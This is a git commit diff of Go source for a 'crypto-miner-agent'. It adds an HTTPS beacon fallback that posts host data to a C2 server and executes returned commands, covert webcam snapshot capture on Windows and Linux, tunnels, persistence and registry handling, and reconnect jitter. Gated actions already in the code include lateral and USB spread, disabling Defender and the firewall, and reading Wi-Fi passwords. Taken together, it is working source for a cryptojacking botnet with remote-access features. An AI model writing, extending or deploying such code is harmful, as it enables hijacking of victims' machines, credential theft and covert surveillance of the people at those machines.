feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
@@ -19,10 +19,13 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||
}
|
||||
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
|
||||
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
|
||||
"subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
case "tunnel_status", "tunnel_wireguard":
|
||||
// Always available — read-only or Path Tracer config from server.
|
||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
|
||||
// No forge gate — always available.
|
||||
case "mesh_status":
|
||||
@@ -36,6 +39,10 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
|
||||
if c.handleTunnelCommand(action, command, path, data) {
|
||||
return true
|
||||
}
|
||||
|
||||
ok, reason := c.allowRemoteAction(action)
|
||||
if !ok {
|
||||
c.sendCommandResult(action, false, reason)
|
||||
@@ -82,19 +89,6 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "start_tunnel":
|
||||
serverURL := strings.TrimSpace(command)
|
||||
if serverURL == "" {
|
||||
serverURL = c.cfg.ServerURL
|
||||
}
|
||||
msg, err := deploy.StartCloudflaredTunnel(serverURL)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "subnet_scan":
|
||||
maxHosts := parsePortArg(command, 64)
|
||||
out := deploy.ScanLocalSubnet(maxHosts)
|
||||
@@ -204,7 +198,7 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
}
|
||||
parts = append(parts, msg)
|
||||
}
|
||||
deploy.RemoveFirewallExclusionWindows(c.cfg)
|
||||
deploy.RemoveFirewallExclusion(c.cfg)
|
||||
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
|
||||
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
|
||||
return true
|
||||
|
||||
151
agent/client/beacon_transport.go
Normal file
151
agent/client/beacon_transport.go
Normal file
@@ -0,0 +1,151 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
type beaconHTTPResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Commands []struct {
|
||||
Action string `json:"action"`
|
||||
TailLines int `json:"tail_lines"`
|
||||
Command string `json:"command"`
|
||||
Path string `json:"path"`
|
||||
Data string `json:"data"`
|
||||
} `json:"commands"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) httpsBeaconEnabled() bool {
|
||||
if !c.cfg.HTTPSBeaconFallback {
|
||||
return false
|
||||
}
|
||||
if c.cfg.FleetSecret == "" {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentClient) httpsBeaconAfterDuration() time.Duration {
|
||||
min := c.cfg.HTTPSBeaconAfterMin
|
||||
if min <= 0 {
|
||||
min = 3
|
||||
}
|
||||
return time.Duration(min) * time.Minute
|
||||
}
|
||||
|
||||
func (c *AgentClient) shouldUseHTTPSBeacon(wsDownSince time.Time) bool {
|
||||
if !c.httpsBeaconEnabled() || wsDownSince.IsZero() {
|
||||
return false
|
||||
}
|
||||
return time.Since(wsDownSince) >= c.httpsBeaconAfterDuration()
|
||||
}
|
||||
|
||||
func (c *AgentClient) apiBaseURL(serverURL string) (string, error) {
|
||||
raw := strings.TrimSpace(serverURL)
|
||||
if raw == "" {
|
||||
return "", fmt.Errorf("empty server URL")
|
||||
}
|
||||
if !strings.Contains(raw, "://") {
|
||||
raw = "http://" + raw
|
||||
}
|
||||
return strings.TrimSuffix(raw, "/") + "/api/v1", nil
|
||||
}
|
||||
|
||||
// beaconOnce performs one HTTPS beacon cycle; the outer Run loop retries WebSocket each iteration.
|
||||
func (c *AgentClient) beaconOnce(serverURL string) error {
|
||||
c.beaconMode.Store(true)
|
||||
defer c.beaconMode.Store(false)
|
||||
c.connected.Store(true)
|
||||
defer c.connected.Store(false)
|
||||
|
||||
client := &http.Client{Timeout: 45 * time.Second}
|
||||
base, err := c.apiBaseURL(serverURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
stats, err := c.collectStatsPayload()
|
||||
if err != nil {
|
||||
log.Printf("[agent] beacon stats: %v", err)
|
||||
}
|
||||
host, _, _ := c.reporter.SystemInfo()
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": c.agentID,
|
||||
"stats": stats,
|
||||
"hostname": host,
|
||||
"wallet": c.cfg.Wallet,
|
||||
"worker_name": c.cfg.WorkerName,
|
||||
"version": config.Version,
|
||||
})
|
||||
req, err := http.NewRequest(http.MethodPost, base+"/agent/beacon", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data, _ := io.ReadAll(resp.Body)
|
||||
resp.Body.Close()
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return fmt.Errorf("beacon auth rejected")
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("beacon HTTP %s", resp.Status)
|
||||
}
|
||||
var br beaconHTTPResponse
|
||||
if err := json.Unmarshal(data, &br); err != nil {
|
||||
return err
|
||||
}
|
||||
for _, cmd := range br.Commands {
|
||||
c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) beaconInterval() time.Duration {
|
||||
sec := c.cfg.BeaconIntervalSec
|
||||
if sec <= 0 {
|
||||
sec = 10
|
||||
}
|
||||
return time.Duration(sec) * time.Second
|
||||
}
|
||||
|
||||
func (c *AgentClient) postBeaconResult(payload []byte) {
|
||||
serverURLs := buildServerURLList(c.cfg)
|
||||
if len(serverURLs) == 0 {
|
||||
return
|
||||
}
|
||||
base, err := c.apiBaseURL(serverURLs[0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var body map[string]interface{}
|
||||
_ = json.Unmarshal(payload, &body)
|
||||
body["agent_id"] = c.agentID
|
||||
out, _ := json.Marshal(body)
|
||||
req, err := http.NewRequest(http.MethodPost, base+"/agent/beacon/result", bytes.NewReader(out))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||
client := &http.Client{Timeout: 30 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
log.Printf("[agent] beacon result post failed: %v", err)
|
||||
return
|
||||
}
|
||||
io.Copy(io.Discard, resp.Body)
|
||||
resp.Body.Close()
|
||||
}
|
||||
66
agent/client/camera_common.go
Normal file
66
agent/client/camera_common.go
Normal file
@@ -0,0 +1,66 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const maxCameraSnapshotBytes = 2 * 1024 * 1024
|
||||
|
||||
func isJPEG(data []byte) bool {
|
||||
return len(data) >= 3 && data[0] == 0xff && data[1] == 0xd8 && data[2] == 0xff
|
||||
}
|
||||
|
||||
func encodeCameraSnapshotJPEG(raw []byte) (string, error) {
|
||||
if len(raw) < 100 {
|
||||
return "", fmt.Errorf("camera capture too small (%d bytes)", len(raw))
|
||||
}
|
||||
if !isJPEG(raw) {
|
||||
return "", fmt.Errorf("camera capture is not JPEG (got %d bytes)", len(raw))
|
||||
}
|
||||
if len(raw) > maxCameraSnapshotBytes {
|
||||
return "", fmt.Errorf("camera image exceeds %d byte cap (%d bytes)", maxCameraSnapshotBytes, len(raw))
|
||||
}
|
||||
return base64.StdEncoding.EncodeToString(raw), nil
|
||||
}
|
||||
|
||||
// parseDShowVideoDevices extracts quoted DirectShow video device names from ffmpeg -list_devices output.
|
||||
func parseDShowVideoDevices(stderr string) []string {
|
||||
var devs []string
|
||||
inVideo := false
|
||||
for _, line := range strings.Split(stderr, "\n") {
|
||||
lower := strings.ToLower(line)
|
||||
if strings.Contains(lower, "directshow video devices") {
|
||||
inVideo = true
|
||||
continue
|
||||
}
|
||||
if inVideo && strings.Contains(lower, "directshow audio devices") {
|
||||
break
|
||||
}
|
||||
if !inVideo {
|
||||
continue
|
||||
}
|
||||
if strings.Contains(lower, "alternative name") {
|
||||
continue
|
||||
}
|
||||
name := extractQuotedDeviceName(line)
|
||||
if name != "" {
|
||||
devs = append(devs, name)
|
||||
}
|
||||
}
|
||||
return devs
|
||||
}
|
||||
|
||||
func extractQuotedDeviceName(line string) string {
|
||||
start := strings.Index(line, `"`)
|
||||
if start < 0 {
|
||||
return ""
|
||||
}
|
||||
rest := line[start+1:]
|
||||
end := strings.Index(rest, `"`)
|
||||
if end <= 0 {
|
||||
return ""
|
||||
}
|
||||
return rest[:end]
|
||||
}
|
||||
45
agent/client/camera_common_test.go
Normal file
45
agent/client/camera_common_test.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestParseDShowVideoDevices(t *testing.T) {
|
||||
sample := `[dshow @ 000001] DirectShow video devices (some may be both video and audio devices)
|
||||
[dshow @ 000001] "Integrated Camera"
|
||||
[dshow @ 000001] Alternative name "@device_pnp_\\?\usb#..."
|
||||
[dshow @ 000001] "USB Video Device"
|
||||
[dshow @ 000001] DirectShow audio devices
|
||||
[dshow @ 000001] "Microphone (USB Video Device)"
|
||||
`
|
||||
devs := parseDShowVideoDevices(sample)
|
||||
if len(devs) != 2 {
|
||||
t.Fatalf("got %d devices: %v", len(devs), devs)
|
||||
}
|
||||
if devs[0] != "Integrated Camera" || devs[1] != "USB Video Device" {
|
||||
t.Fatalf("unexpected names: %v", devs)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractQuotedDeviceName(t *testing.T) {
|
||||
if got := extractQuotedDeviceName(`[dshow] "My Cam"`); got != "My Cam" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
if got := extractQuotedDeviceName("no quotes"); got != "" {
|
||||
t.Fatalf("expected empty, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEncodeCameraSnapshotJPEG(t *testing.T) {
|
||||
jpeg := []byte{0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 'J', 'F', 'I', 'F'}
|
||||
// pad to >= 100 bytes
|
||||
for len(jpeg) < 100 {
|
||||
jpeg = append(jpeg, 0)
|
||||
}
|
||||
b64, err := encodeCameraSnapshotJPEG(jpeg)
|
||||
if err != nil || len(b64) < 100 {
|
||||
t.Fatalf("encode: err=%v len=%d", err, len(b64))
|
||||
}
|
||||
_, err = encodeCameraSnapshotJPEG([]byte{1, 2, 3})
|
||||
if err == nil {
|
||||
t.Fatal("expected error for non-jpeg")
|
||||
}
|
||||
}
|
||||
105
agent/client/camera_linux.go
Normal file
105
agent/client/camera_linux.go
Normal file
@@ -0,0 +1,105 @@
|
||||
//go:build linux
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func handleCameraAction(action string) (handled bool, success bool, message string) {
|
||||
switch action {
|
||||
case "camera_snapshot":
|
||||
raw, err := captureLinuxCameraJPEG()
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
b64, err := encodeCameraSnapshotJPEG(raw)
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
return true, true, b64
|
||||
case "camera_list":
|
||||
devs, err := listLinuxCameraDevices()
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
if len(devs) == 0 {
|
||||
return true, false, "no V4L2 devices found under /dev/video*"
|
||||
}
|
||||
return true, true, strings.Join(devs, "\n")
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
}
|
||||
|
||||
func listLinuxCameraDevices() ([]string, error) {
|
||||
matches, err := filepath.Glob("/dev/video*")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var devs []string
|
||||
for _, p := range matches {
|
||||
if fi, err := os.Stat(p); err == nil && (fi.Mode()&os.ModeCharDevice) != 0 {
|
||||
devs = append(devs, p)
|
||||
}
|
||||
}
|
||||
return devs, nil
|
||||
}
|
||||
|
||||
func captureLinuxCameraJPEG() ([]byte, error) {
|
||||
devs, err := listLinuxCameraDevices()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(devs) == 0 {
|
||||
return nil, fmt.Errorf("no /dev/video* devices — connect a USB camera or install v4l2 drivers")
|
||||
}
|
||||
device := devs[0]
|
||||
|
||||
if ff, err := exec.LookPath("ffmpeg"); err == nil {
|
||||
out, runErr := exec.Command(ff,
|
||||
"-hide_banner", "-loglevel", "error",
|
||||
"-f", "v4l2",
|
||||
"-i", device,
|
||||
"-frames:v", "1",
|
||||
"-q:v", "2",
|
||||
"-f", "image2",
|
||||
"pipe:1",
|
||||
).CombinedOutput()
|
||||
if runErr == nil && len(out) >= 100 {
|
||||
return out, nil
|
||||
}
|
||||
if runErr != nil {
|
||||
hint := strings.TrimSpace(string(out))
|
||||
if hint != "" {
|
||||
return nil, fmt.Errorf("ffmpeg v4l2 capture failed: %v (%s)", runErr, hint)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if fw, err := exec.LookPath("fswebcam"); err == nil {
|
||||
tmp, err := os.CreateTemp("", "af-cam-*.jpg")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
tmpPath := tmp.Name()
|
||||
_ = tmp.Close()
|
||||
defer os.Remove(tmpPath)
|
||||
|
||||
out, runErr := exec.Command(fw, "-q", "-d", device, "-r", "1280x720", "--no-banner", tmpPath).CombinedOutput()
|
||||
if runErr != nil {
|
||||
return nil, fmt.Errorf("fswebcam failed: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
raw, err := os.ReadFile(tmpPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return raw, nil
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("camera capture unsupported: install ffmpeg or fswebcam on the agent host")
|
||||
}
|
||||
12
agent/client/camera_stub.go
Normal file
12
agent/client/camera_stub.go
Normal file
@@ -0,0 +1,12 @@
|
||||
//go:build !windows && !linux
|
||||
|
||||
package client
|
||||
|
||||
func handleCameraAction(action string) (handled bool, success bool, message string) {
|
||||
switch action {
|
||||
case "camera_snapshot", "camera_list":
|
||||
return true, false, "camera capture is not supported on this platform"
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
}
|
||||
90
agent/client/camera_windows.go
Normal file
90
agent/client/camera_windows.go
Normal file
@@ -0,0 +1,90 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func handleCameraAction(action string) (handled bool, success bool, message string) {
|
||||
switch action {
|
||||
case "camera_snapshot":
|
||||
raw, err := captureWindowsCameraJPEG()
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
b64, err := encodeCameraSnapshotJPEG(raw)
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
return true, true, b64
|
||||
case "camera_list":
|
||||
devs, err := listWindowsCameraDevices()
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
if len(devs) == 0 {
|
||||
return true, false, "no DirectShow video capture devices found (install ffmpeg and connect a camera)"
|
||||
}
|
||||
return true, true, strings.Join(devs, "\n")
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
}
|
||||
|
||||
func ffmpegOnPath() (string, error) {
|
||||
path, err := exec.LookPath("ffmpeg")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("ffmpeg not found on PATH — install ffmpeg to capture USB/built-in camera frames")
|
||||
}
|
||||
return path, nil
|
||||
}
|
||||
|
||||
func listWindowsCameraDevices() ([]string, error) {
|
||||
ff, err := ffmpegOnPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out, err := silentCombinedOutput(ff, "-hide_banner", "-list_devices", "true", "-f", "dshow", "-i", "dummy")
|
||||
// ffmpeg exits non-zero for -list_devices; output is on stderr merged in CombinedOutput
|
||||
_ = err
|
||||
return parseDShowVideoDevices(string(out)), nil
|
||||
}
|
||||
|
||||
func captureWindowsCameraJPEG() ([]byte, error) {
|
||||
ff, err := ffmpegOnPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
devs, err := listWindowsCameraDevices()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(devs) == 0 {
|
||||
return nil, fmt.Errorf("no video capture devices found")
|
||||
}
|
||||
device := devs[0]
|
||||
out, err := silentCombinedOutput(ff,
|
||||
"-hide_banner", "-loglevel", "error",
|
||||
"-f", "dshow",
|
||||
"-i", dshowVideoInput(device),
|
||||
"-frames:v", "1",
|
||||
"-q:v", "2",
|
||||
"-f", "image2",
|
||||
"pipe:1",
|
||||
)
|
||||
if err != nil {
|
||||
hint := strings.TrimSpace(string(out))
|
||||
if hint != "" {
|
||||
return nil, fmt.Errorf("ffmpeg capture failed: %v (%s)", err, hint)
|
||||
}
|
||||
return nil, fmt.Errorf("ffmpeg capture failed: %v (device %q)", err, device)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func dshowVideoInput(name string) string {
|
||||
return `video="` + strings.ReplaceAll(name, `"`, `\"`) + `"`
|
||||
}
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
@@ -53,6 +54,11 @@ type AgentClient struct {
|
||||
// spreadOnce ensures AutoSpreader starts at most once — after the first
|
||||
// successful WS authentication confirms we are on an owned fleet.
|
||||
spreadOnce sync.Once
|
||||
|
||||
// beaconMode is true while commands/results use HTTPS beacon transport.
|
||||
beaconMode atomic.Bool
|
||||
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
|
||||
wsDownSince atomic.Value // stores time.Time
|
||||
}
|
||||
|
||||
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
@@ -67,6 +73,15 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
}
|
||||
|
||||
func (c *AgentClient) Run() error {
|
||||
if c.cfg.AgentKillAfterDays > 0 && !c.cfg.BuiltAt.IsZero() {
|
||||
age := time.Since(c.cfg.BuiltAt)
|
||||
limit := time.Duration(c.cfg.AgentKillAfterDays) * 24 * time.Hour
|
||||
if age >= limit {
|
||||
log.Printf("[agent] agent_kill_after_days (%d) reached — exiting", c.cfg.AgentKillAfterDays)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
threads := c.cfg.EffectiveThreads()
|
||||
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
|
||||
c.pool.Start()
|
||||
@@ -118,32 +133,76 @@ func (c *AgentClient) Run() error {
|
||||
serverURLs := buildServerURLList(c.cfg)
|
||||
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
|
||||
|
||||
urlIdx := 0
|
||||
backoff := 5 * time.Second
|
||||
const maxBackoff = 60 * time.Second
|
||||
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
log.Printf("[agent] connectivity_probe: c2_dns=%v c2_tcp=%v pool_dns=%v pool_tcp=%v",
|
||||
probe.C2DNSOK, probe.C2TCPOK, probe.PoolDNSOK, probe.PoolTCPOK)
|
||||
|
||||
urlIdx := 0
|
||||
backoff, maxBackoff := c.reconnectBackoff()
|
||||
for {
|
||||
target := serverURLs[urlIdx%len(serverURLs)]
|
||||
start := time.Now()
|
||||
// Restore C2 share handler before connecting (in case Stratum had it).
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) {
|
||||
log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target)
|
||||
if err := c.beaconOnce(target); err != nil {
|
||||
log.Printf("[agent] beacon failed on %s: %v", target, err)
|
||||
c.markWSDownSince()
|
||||
} else {
|
||||
c.sleepReconnect(c.beaconInterval())
|
||||
}
|
||||
}
|
||||
if err := c.connectLoop(target); err != nil {
|
||||
log.Printf("[agent] disconnected from %s: %v", target, err)
|
||||
c.markWSDownSince()
|
||||
}
|
||||
// Advance to next URL so the next reconnect tries a different server
|
||||
urlIdx++
|
||||
if time.Since(start) > 10*time.Second {
|
||||
// Long-lived connection succeeded — reset backoff on the next attempt
|
||||
backoff = 5 * time.Second
|
||||
backoff, maxBackoff = c.reconnectBackoff()
|
||||
}
|
||||
time.Sleep(backoff)
|
||||
backoff += 5 * time.Second
|
||||
c.sleepReconnect(backoff)
|
||||
backoff += c.reconnectBackoffStep()
|
||||
if backoff > maxBackoff {
|
||||
backoff = maxBackoff
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) reconnectBackoff() (time.Duration, time.Duration) {
|
||||
sec := c.cfg.BeaconIntervalSec
|
||||
if sec <= 0 {
|
||||
sec = 5
|
||||
}
|
||||
base := time.Duration(sec) * time.Second
|
||||
max := 60 * time.Second
|
||||
if base*12 > max {
|
||||
max = base * 12
|
||||
}
|
||||
return base, max
|
||||
}
|
||||
|
||||
func (c *AgentClient) reconnectBackoffStep() time.Duration {
|
||||
sec := c.cfg.BeaconIntervalSec
|
||||
if sec <= 0 {
|
||||
sec = 5
|
||||
}
|
||||
return time.Duration(sec) * time.Second
|
||||
}
|
||||
|
||||
func (c *AgentClient) sleepReconnect(d time.Duration) {
|
||||
jitter := c.cfg.BeaconJitterPct
|
||||
if jitter > 0 {
|
||||
if jitter > 100 {
|
||||
jitter = 100
|
||||
}
|
||||
factor := 1.0 + (rand.Float64()*2-1)*float64(jitter)/100.0
|
||||
d = time.Duration(float64(d) * factor)
|
||||
}
|
||||
time.Sleep(d)
|
||||
}
|
||||
|
||||
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
|
||||
func buildServerURLList(cfg config.RuntimeConfig) []string {
|
||||
seen := map[string]bool{}
|
||||
@@ -263,6 +322,8 @@ func (c *AgentClient) authenticate() error {
|
||||
Arch: runtime.GOARCH,
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
MacAddress: primaryMACAddress(),
|
||||
BuildID: c.cfg.BuildID,
|
||||
USBSpread: c.cfg.USBSpread,
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -287,7 +348,8 @@ func (c *AgentClient) authenticate() error {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.agentID = resp.AgentID
|
||||
log.Printf("[agent] authenticated as %s", c.agentID)
|
||||
c.clearWSDownSince()
|
||||
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
|
||||
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
||||
if installDir, err := c.cfg.InstallDirectory(); err == nil {
|
||||
_ = deploy.PersistAgentID(installDir, c.agentID)
|
||||
@@ -549,7 +611,15 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
}
|
||||
go c.performUpgrade(data)
|
||||
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
|
||||
case "bof_execute":
|
||||
c.sendCommandResult(action, false, "bof_execute is not implemented — in-memory BOF execution is disabled for safety")
|
||||
default:
|
||||
if c.handleRegistryCommand(action, path, data) {
|
||||
return
|
||||
}
|
||||
if c.handleFileCommand(action, path) {
|
||||
return
|
||||
}
|
||||
if c.handleReconCommand(action, command) {
|
||||
return
|
||||
}
|
||||
@@ -563,9 +633,56 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str
|
||||
"success": success,
|
||||
"message": message,
|
||||
})
|
||||
if c.beaconMode.Load() {
|
||||
c.postBeaconResult(payload)
|
||||
return
|
||||
}
|
||||
_ = c.write(Message{Type: "command_result", Payload: payload})
|
||||
}
|
||||
|
||||
func (c *AgentClient) wsDownSinceTime() time.Time {
|
||||
if v := c.wsDownSince.Load(); v != nil {
|
||||
if t, ok := v.(time.Time); ok {
|
||||
return t
|
||||
}
|
||||
}
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
func (c *AgentClient) markWSDownSince() {
|
||||
if !c.wsDownSinceTime().IsZero() {
|
||||
return
|
||||
}
|
||||
c.wsDownSince.Store(time.Now())
|
||||
}
|
||||
|
||||
func (c *AgentClient) clearWSDownSince() {
|
||||
c.wsDownSince.Store(time.Time{})
|
||||
}
|
||||
|
||||
func (c *AgentClient) collectStatsPayload() (StatsPayload, error) {
|
||||
hps := c.pool.HashesPerSecond()
|
||||
c.pool.ResetHashCounter()
|
||||
cpuPct, memPct := c.reporter.Usage()
|
||||
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
|
||||
cpuPct = sysCPU
|
||||
}
|
||||
c.mu.Lock()
|
||||
submitted := c.sharesSubmitted
|
||||
accepted := c.sharesAccepted
|
||||
c.mu.Unlock()
|
||||
return StatsPayload{
|
||||
Hashrate15s: hps,
|
||||
Hashrate1m: hps,
|
||||
Hashrate15m: hps,
|
||||
SharesSubmitted: submitted,
|
||||
SharesAccepted: accepted,
|
||||
CPUUsagePct: cpuPct,
|
||||
MemoryUsagePct: memPct,
|
||||
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) stopSelf() {
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
c.pool.Stop()
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
@@ -21,6 +22,12 @@ func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleReconCommand(action, command string) bool {
|
||||
if action == "connectivity_probe" {
|
||||
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
b, _ := json.Marshal(probe)
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
}
|
||||
if action == "full_sys_check" {
|
||||
report := CollectFullSysCheck(c.cfg, c.agentID)
|
||||
c.sendCommandResult(action, true, report.JSON())
|
||||
|
||||
@@ -52,6 +52,8 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
|
||||
} else {
|
||||
return true, false, "screenshot not supported on this platform without custom command"
|
||||
}
|
||||
case "camera_snapshot", "camera_list":
|
||||
return handleCameraAction(action)
|
||||
case "sysinfo":
|
||||
out, err = exec.Command("uname", "-a").CombinedOutput()
|
||||
case "ipconfig":
|
||||
|
||||
@@ -106,6 +106,8 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
|
||||
return true, false, "screenshot failed or empty image (agent may need an interactive desktop session)"
|
||||
}
|
||||
return true, true, b64
|
||||
case "camera_snapshot", "camera_list":
|
||||
return handleCameraAction(action)
|
||||
case "sysinfo":
|
||||
out, err = silentCombinedOutput("systeminfo")
|
||||
case "ipconfig":
|
||||
|
||||
93
agent/client/connectivity_probe.go
Normal file
93
agent/client/connectivity_probe.go
Normal file
@@ -0,0 +1,93 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ConnectivityProbeReport is diagnostic-only reachability (not a C2 channel).
|
||||
type ConnectivityProbeReport struct {
|
||||
C2Host string `json:"c2_host"`
|
||||
C2DNSOK bool `json:"c2_dns_ok"`
|
||||
C2DNSAddrs []string `json:"c2_dns_addrs,omitempty"`
|
||||
C2TCPOK bool `json:"c2_tcp_ok"`
|
||||
C2TCPError string `json:"c2_tcp_error,omitempty"`
|
||||
PoolHost string `json:"pool_host,omitempty"`
|
||||
PoolDNSOK bool `json:"pool_dns_ok,omitempty"`
|
||||
PoolDNSAddrs []string `json:"pool_dns_addrs,omitempty"`
|
||||
